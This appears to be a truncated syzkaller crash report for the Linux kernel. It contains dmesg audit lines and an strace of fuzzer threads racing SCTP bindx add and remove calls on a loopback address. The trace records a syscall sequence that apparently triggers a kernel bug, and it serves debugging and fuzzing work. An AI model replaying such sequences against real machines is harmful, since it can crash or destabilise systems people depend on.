[   62.834993][   T33] audit: type=1400 audit(1788282904.916:207): avc:  denied  { name_bind } for  pid=5839 comm="syz-executor387" src=12345 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:unreserved_port_t tclass=sctp_socket permissive=1
[   62.835006][   T33] audit: type=1400 audit(1788282904.916:208): avc:  denied  { node_bind } for  pid=5839 comm="syz-executor387" saddr=127.0.0.1 src=12345 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:node_t tclass=sctp_socket permissive=1
[   62.835019][   T33] audit: type=1400 audit(1788282904.916:209): avc:  denied  { listen } for  pid=5839 comm="syz-executor387" laddr=127.0.0.1 lport=12345 scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=sctp_socket permissive=1
[   65.526573][   T33] kauditd_printk_skb: 12 callbacks suppressed
[   65.526626][   T33] audit: type=1400 audit(1788282907.616:222): avc:  denied  { write } for  pid=5874 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   65.623831][   T33] audit: type=1400 audit(1788282907.706:223): avc:  denied  { write } for  pid=5877 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   65.983406][   T33] audit: type=1400 audit(1788282908.066:224): avc:  denied  { write } for  pid=5880 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.069967][   T33] audit: type=1400 audit(1788282908.156:225): avc:  denied  { write } for  pid=5883 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.209056][   T33] audit: type=1400 audit(1788282908.296:226): avc:  denied  { write } for  pid=5886 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.253409][   T33] audit: type=1400 audit(1788282908.336:227): avc:  denied  { write } for  pid=5889 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.425891][ T1379] ieee802154 phy0 wpan0: encryption failed: -22
[   66.425955][ T1379] ieee802154 phy1 wpan1: encryption failed: -22
[+] Connected successfully.
[+] Done.
[   76.667719][ T2225] cfg80211: failed to load regulatory.db
 TruncatedCrashReport: TruncatedStraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor2878070744

<...>
hed ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
